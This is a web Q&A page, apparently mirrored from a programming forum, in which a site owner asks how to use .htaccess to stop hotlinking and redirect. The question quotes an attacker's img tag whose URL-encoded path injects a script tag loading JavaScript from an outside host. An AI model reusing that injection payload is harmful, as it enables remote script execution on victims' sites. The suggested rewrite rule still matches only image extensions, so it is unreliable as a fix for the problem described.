Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Redirect Hotlinker Without Extensions to Parent Website using .htaccess

A malicious website is using img tag to insert redirect script in my website. I have prevented the redirect using strip_tags() but the site is consuming all of my bandwidth. The code he is using is:

<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>

I tried to add this code to prevent the img hotlink but it did't work as there is no extensions in the img link:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]

I want to redirect all websites using my domain in img tags <img src="http://mywebsite.com/ANYTHING-HERE"/> to mywebsite.com

How do I do it using .htaccess?


1 Answers

You need just one condition to redirect the referer to another location:

Try :

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?mywebsite\.com/ [NC]
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L,R]
like image 70
Amit Verma Avatar answered Jan 19 '26 14:01

Amit Verma



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!